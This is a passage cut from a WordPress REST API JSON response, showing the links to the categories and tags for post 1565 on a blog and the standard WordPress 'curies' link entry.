%2Fwp%2Fv2%2Fcategories&post=1565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}